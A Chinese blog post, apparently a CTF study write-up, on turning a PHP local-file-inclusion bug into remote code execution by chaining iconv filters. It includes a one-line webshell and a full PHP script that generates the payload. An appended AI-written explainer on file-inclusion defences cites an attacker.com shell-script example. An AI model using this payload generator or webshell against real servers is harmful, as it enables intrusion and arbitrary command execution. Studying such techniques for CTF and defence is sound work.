[PHP]无需可控文件的LFI-RCE学习

本文介绍了通过PHP的Local File Inclusion (LFI)漏洞,利用iconv函数进行字符集转换,配合base64编码和解码,达到远程代码执行(RCE)的效果。作者分享了学习思路,包括如何构造payload,以及利用过程中的关键步骤。文中还引用了陆队的文章作为参考资料,展示了具体实现的代码片段,并讨论了环境差异对POC的影响。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

[PHP]无需可控文件的LFI-RCE学习

前言

昨天晚上P神的代码审计圈子里面提到了一个LFI的方法,题目来源是前段时间的HXPCTF中的题目includer's revenge。国外的一个师傅通过fuzz的方法通过iconv成功的将任意一个文件里的内容转换为一句话木马的方式,基本上可以说,PHP的LFI可能就到此为止了。

今天参考陆队的文章:https://tttang.com/archive/1395/,来学习一下思路和攻击方式。确实不得不说,nb。

这篇文章就只是大概记录一下学习的思路了,水一点因为我太懒了hhh,陆队的文章写的很详细了。

分析学习

之前在SESSION文件包含的时候就遇到过往SESSION里面写base64,前面凑齐4的整数倍的字符,然后接下来就是一句话的base64编码,再利用php://filter/convert.base64-decode/resource=/tmp/sess_xxx就可以直接rce,因为里面的base64解码后就可以得到完整的一句话。

再联想到,base64解码的时候会忽略除了base64中那64个字符的其他字符,只处理那64个字符,于是国外的那个师傅就开始尝试能不能通过iconv中不同字符集的转换来成功的得到base64中的字符,最后再来一层base64-decode即可rce。

比如convert.iconv.UTF8.CSISO2022KR,每次这样都会在字符串的首部产生\x1b$)C,可以发现这4个字符中只有字符C属于Base64中,再进行一次base64-decode再base64-encode之后,就只剩下字符C了:

include "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://,aaaaa"

同理,也可以得到更多的字符。作者最终利用的是:

<?=`$_GET[0]`;;?>
PD89YCRfR0VUWzBdYDs7Pz4=

可能是因为非数字字母不太好找出(wupco师傅已经基本找出了所有的数字和字母)。

陆队文章中的脚本:

<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4";
$conversions = array(
    'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C' => 'convert.iconv.UTF8.CSISO2022KR',
    '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);

$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
    $filters .= $conversions[$c] . "|";
    $filters .= "convert.base64-decode|";
    $filters .= "convert.base64-encode|";
    $filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";
var_dump($final_payload);

至于需要把$base64_payload反转则是因为是从右边开始产生字符,然后在最左边通过convert.iconv.UTF8.CSISO2022KR来生成\x1b$)C然后进行利用,还不能影响后面已经产生的字符。

至于convert.iconv.UTF8.UTF7单纯的防止=的干扰。

个人觉得可能对于字符集有一定的要求,不同的环境似乎有的字符集不存在导致了POC打不通,或许更近一步fuzz的话可能能得到更为通用的字符集构造的POC。

复现:

在这里插入图片描述

总结

陆队文章里的这句话戳到了我:

在这里插入图片描述

这段时间一直在摆烂不想碰Java,其实想想还是得学学Java的,菜狗落泪呜呜。

<think>好的,我现在需要回答用户关于RCE文件包含漏洞的原理及防御措施的问题。首先,我需要回忆一下文件包含漏洞的基本概念和相关知识。文件包含漏洞通常分为本地文件包含(LFI)和远程文件包含(RFI),而RCE可能指的是远程代码执行,但用户提到的“RCE文件包含漏洞”可能是指通过文件包含导致的远程代码执行。需要确认这两者的关系,但通常RFI可以导致RCE。 接下来,我需要查找文件包含漏洞的原理。根据引用[2]中提到,这种漏洞发生在应用程序使用动态文件包含的情况下,攻击者需要满足两个条件:一是应用程序未对用户输入进行严格验证,二是包含的文件路径可控。这可能涉及到用户输入的参数被直接用于包含文件,如PHP中的include、require等函数。 然后,防御措施方面,引用[1]提到需要输入验证、减少对外部参数的依赖、使用绝对路径等。例如,对用户输入的文件名进行白名单校验,限制包含路径,或者禁用远程文件包含功能。同时,引用[3]中给出的例子是设置安全配置,比如Tomcat的AJP密钥,这可能与特定服务器的配置相关,但同样强调了安全配置的重要性。 用户的问题可能希望了解文件包含漏洞如何导致远程代码执行,以及如何防御。需要将原理部分详细说明,比如攻击者如何通过包含恶意文件执行代码,特别是在RFI的情况下,攻击者可以远程服务器上的文件,导致代码执行。防御措施则需要综合引用中的建议,包括输入验证、路径限制、安全配置等。 另外,用户提供的引用中有一些关于文件包含漏洞的防御措施,可能需要整合这些信息,例如输入验证和绝对路径的使用,同时结合禁用不必要的动态包含功能。需要确保回答的结构清晰,先讲原理,再讲防御措施,最后相关问题。同时注意使用正确的LaTeX格式,如变量用$...$,独立公式用$$...$$,但在这个问题中可能数学公式较少,但如果有涉及变量或代码的地方需要正确标注。 最后,生成相关问题时要考虑用户可能进一步想知道的内容,比如如何检测漏洞、实际案例或具体配置方法等。确保问题相关且有引导性。</think>### RCE文件包含漏洞原理及防御措施 #### 1. 漏洞原理 **文件包含漏洞**分为本地文件包含(LFI)和远程文件包含(RFI)。其核心原理是应用程序未对用户输入的文件路径进行严格校验,直接将其用于动态包含文件(如PHP的`include`、`require`函数)。攻击者可通过构造恶意路径实现以下攻击: - **本地文件包含(LFI)**:读取服务器敏感文件(如`/etc/passwd`)[^2]。 - **远程文件包含(RFI)**:通过包含远程服务器上的恶意脚本(如`http://attacker.com/shell.php`),触发远程代码执行(RCE)。 **触发条件**: 1. 应用程序使用动态文件包含功能且未过滤输入(如`include($_GET['file'])`)。 2. 包含路径可被用户控制(如通过URL参数传递文件名)。 #### 2. 防御措施 **① 输入验证与过滤** - 对用户输入的文件名进行白名单校验,仅允许特定字符或固定后缀(如`.php`)。 - 使用正则表达式过滤`../`等路径遍历字符,防止越权访问。 **② 限制文件包含范围** - 使用绝对路径而非相对路径,例如: ```php include(__DIR__ . '/templates/' . $file); // 限制包含目录为/templates/ ``` - 禁用远程文件包含功能(如PHP中设置`allow_url_include=Off`)。 **③ 最小化动态包含依赖** - 避免直接使用外部参数(如`$_GET`、`$_POST`)作为包含路径,改用固定映射关系(如通过`switch`语句匹配预设文件名)[^1]。 **④ 安全配置与加固** - 设置Web服务器权限,限制敏感目录的读写权限。 - 定期更新应用程序和服务器环境,修复已知漏洞(如Tomcat AJP协议的安全配置[^3])。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值